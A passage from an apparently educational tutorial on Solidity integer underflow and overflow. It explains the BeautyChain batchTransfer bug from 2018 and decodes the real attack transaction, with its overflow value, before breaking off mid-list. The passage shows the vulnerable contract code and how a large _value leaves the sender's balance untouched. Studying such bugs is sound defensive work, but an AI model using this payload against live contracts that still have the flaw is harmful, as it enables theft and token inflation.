check will return a true value.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">After the check is under flowed, it
will send the value of the original _amount on line 3 to the recipient without
any further checks resulting in sending more funds then the user has. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">To make matters worse, on line 4
another underflow exists, which increases the value of the senders account due
to a similar underflow condition, even though the balance should have been
reduced based on application logic. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Depending on how the “require”
check and transfer functions are coded, the attacker may not lose any funds at
all, while still transferring large sums of Ether to other accounts under the attacker’s
control. The attacker would achieve this by simply under flowing the require
statements which checks the account balance before transferring funds each
time.<o:p></o:p></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;"><br /></span></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892481">Transfer Function Vulnerable to a Batch Overflow</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Overflow conditions often happen in
situations where you are sending a batched amount of values to multiple
recipients. If you are performing an airdrop, sending tokens to 200 users, each
receiving a large sum of tokens, checking the total sum of all users’ tokens
against the total funds may trigger an overflow. The logic when overflowed would
compare a smaller value of overflowed tokens to the total tokens and seem like
you have enough to cover the transaction. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">For example, if your integer can
only hold 5 digits in length or 00,000 what would happen in the below scenario?<o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">You have 10,000 tokens in your
account</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">You are sending 200 users 499
tokens each</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Your total sent is 200*499 or
99,800</span></p></blockquote>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">The above scenario should fail, and
it does, since we have 10,000 tokens and want to send a total of 99,800. But
what if we send 500 tokens each? Let’s do some more math and see how that
changes the outcome.</span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">You have 10,000 tokens in your
account</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">You are sending 200 users 500
tokens each</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Your total sent is 200*500 or
100,000</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">New total is actually 0</span></p></blockquote>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">This new scenario produces a total
that is 0 even though each users amount is only 500 tokens. This may cause
issues if a require statement is not handled with safe math functions to
sanitize the mathematical output.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Let’s take our new numbers and plug
them into the below code and see what happens:</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> total = _users.length * _tokens;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(balances[msg.sender] >= total);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[msg.sender] = balances[msg.sender] -total;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">for</span><span style="color: white;">(</span><span style="color: #e28964;">uint</span><span style="color: white;"> i=</span><span style="color: indianred;">0</span><span style="color: white;">; i < users.length; i++){ <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[_users[i]] = balances[_users[i]] + _value;<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Below is the same code, but substituting
the variables for our scenario’s real values:</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> total = _200 * </span><span style="color: indianred;">500</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(</span><span style="color: indianred;">10</span><span style="color: white;">,</span><span style="color: indianred;">000</span><span style="color: white;"> >= </span><span style="color: indianred;">0</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[msg.sender] = </span><span style="color: indianred;">10</span><span style="color: white;">,</span><span style="color: indianred;">000</span><span style="color: white;"> - </span><span style="color: indianred;">0</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">for</span><span style="color: white;">(</span><span style="color: #e28964;">uint</span><span style="color: white;"> i=</span><span style="color: indianred;">0</span><span style="color: white;">; i < </span><span style="color: indianred;">500</span><span style="color: white;">; i++){ <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[_recievers[i]] = balances[_recievers[i]] + </span><span style="color: indianred;">500</span><span style="color: white;">;<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<h3><span style="color: #93c47d;"><a name="_Toc47892482">Batch Overflow Code line by line Explanation:</a><o:p></o:p></span></h3>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">1: The total variable equals
100,000 which becomes 0 due to the 5-digit limit. When a 6th digit is hit at
99,999 + 1 the total now becomes 0.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">2: This line checks if the users
balance is higher than the total value to be sent. Which in this case is 0 so
10,000 is more than enough and this check passes due to the overflow.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">3: This line deducts the total from
the sender’s balance which does nothing since the total of 10,000 - 0 is
10,000. The sender has lost no funds.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">4-5: This loop iterates over the
200 users who each get 500 tokens and updates the balances of each user
individually using the real value of 500 and this individual action does not
trigger an overflow condition. Thus, sending out 100,000 tokens <b>without
reducing the sender’s balance</b> or triggering an error due to lack of funds. This
is essentially creating tokens out of thin air.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">In this scenario the user retained
all of their tokens but was able to distribute 100k tokens across 200 users
regardless if they had the proper funds to do so.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892483">ERC20 Beauty Chain Batch Overflow Case-Study</a><o:p></o:p></span></h2>
<p class="MsoNormal"><span style="color: #93c47d;">Now that we understand what overflows and underflows are, we
are going to take a closer look at a real-life hyperinflation attack from 2018.
When a bunch of erc20 tokens incorrectly checked the results of mathematical
calculations. This lack of safe checks led to exchanges freezing all erc20
token transfers. We will first exploit
this code from the original attack. We will then re-code the smart contract to
protect against this attack.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">The effected tokens in this attack used an insecure batch
send function that was not protected from integer overflows. This is similar to
our batch send example above. This vulnerability was copy pasted into many
different tokens and when exploited it forced exchanges to suspend all erc20
token transfers until the issue was resolved. <o:p></o:p></span></p>
<br /><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><span style="color: #6fa8dc; font-family: Wingdings;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span style="color: #93c47d;">Let’s first pull down the code and take a look at the vulnerable function.<br /></span><span style="color: #6fa8dc; font-family: Wingdings;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span style="color: #93c47d;">Then we will take a look at the actual payload on etherscan from the real attack to decipher</span> </blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><span style="color: #93c47d;"> how it happened.<br /></span><span style="color: #6fa8dc; font-family: Wingdings;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span style="color: #93c47d;">Then we will exploit it ourselves.<br /></span><span style="color: #6fa8dc; font-family: Wingdings;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span><span style="color: #93c47d;">Then we will fix the issue and test our fix.</span></blockquote><p class="MsoListParagraphCxSpLast" style="line-height: 115%; text-align: left; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%; text-align: left;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Action Steps:</span></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoNormal" style="line-height: 115%;"><span style="font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;">Review
the following lines of code and see if you can spot the vulnerability</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;">Follow
the attack on EtherScan and understand how the attack works</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><span style="color: #93c47d;">Then
watch the video walk and talk to solidify the process</span></p></blockquote><!--[if !supportLists]--><span style="color: #93c47d;"><o:p></o:p></span><p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l13 level1 lfo2; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; mso-list: l13 level1 lfo2; text-indent: -0.25in;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoListParagraphCxSpLast" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892484">Walkthrough of The Vulnerable Function</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Below is the function from the
ERC20 contract which had the initial vulnerability. Also, a link to view the code for yourself on
etherscan. Just do ctrl+f search for the
batch transfer function on the contract page. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><a href="https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code"><span style="color: #6fa8dc;">https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code</span></a><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> batchTransfer(address[] _receivers, uint256 _value) </span><span style="color: #e28964;">public</span><span style="color: white;"> whenNotPaused returns (</span><span style="color: #e28964;">bool</span><span style="color: white;">) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> cnt = _receivers.length;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> uint256 amount = uint256(cnt) * _value;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(cnt > </span><span style="color: indianred;">0</span><span style="color: white;"> && cnt <= </span><span style="color: indianred;">20</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(_value > </span><span style="color: indianred;">0</span><span style="color: white;"> && balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[msg.sender] = balances[msg.sender].</span><span style="color: #e28964;">sub</span><span style="color: white;">(amount);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">for</span><span style="color: white;"> (</span><span style="color: #e28964;">uint</span><span style="color: white;"> i = </span><span style="color: indianred;">0</span><span style="color: white;">; i < cnt; i++) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> balances[_receivers[i]] = balances[_receivers[i]].</span><span style="color: #e28964;">add</span><span style="color: white;">(_value);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #89bdff;">Transfer</span><span style="color: white;">(msg.sender, _receivers[i], _value);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: #e28964;">true</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">The issue with this function is it’s
performing a balance check against the amount on line 5 but that amount value
comes from a mathematical operation on line 3 which has an overflow
vulnerability. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">You will see that the amount results
from multiplying the length of the array times the value being sent. Since there
are no checks that this mathematical operation does not overflow to a value
lower than our balance, we can easily set the amount to 0 using a very large
number as our _value. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">When the actual balances are
updated on line 10, we are not using the amount of 0, but instead we are using
the initial large _value sent to the function, but this time there is no
multiplication, so it does not cause an overflow,
it only updates the value to a very large number. <o:p></o:p></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;"><br /></span></p><h3 style="line-height: 115%; text-align: left;"><span style="color: #93c47d;">Video Walking Through Vulnerable Code On-Chain:</span></h3><div><span style="color: #93c47d;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/GIFcXDakMEM" width="320" youtube-src-id="GIFcXDakMEM"></iframe></div><br /><p class="MsoNormal" style="line-height: 115%;"><br /></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892485">Reviewing the Real Attack Transaction</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Now let’s take a look at an actual transaction
that caused this overflow attack. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Below is the transaction from the
overflow attack. Also, a link to view
the transaction for yourself on etherscan.
Just click the “click to see more” button and check out the “input data”
section.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span><a href="https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f"><span style="color: #6fa8dc;">https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f</span></a><span style="color: #93c47d;"><o:p></o:p></span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;"><br /></span></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">Function:
batchTransfer(address[] _receivers, uint256 _value)</span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">MethodID:
0x83f12fec<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">[0]: 0000000000000000000000000000000000000000000000000000000000000040<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">[1]:
8000000000000000000000000000000000000000000000000000000000000000<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">[2]:
0000000000000000000000000000000000000000000000000000000000000002<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">[3]:
000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: #6fa8dc;">[4]:
0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7</span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">If you reviewed the
transaction on chain you would see the above transaction data. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">Let’s go into a little detail as to what the transaction
values are and how they were derived. This will help in understanding what is
going on with this attack. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="color: #93c47d;">The data in the transaction can be broken down as the
following <o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><span><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="color: #6fa8dc;">ü</span><span style="color: #93c47d; font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
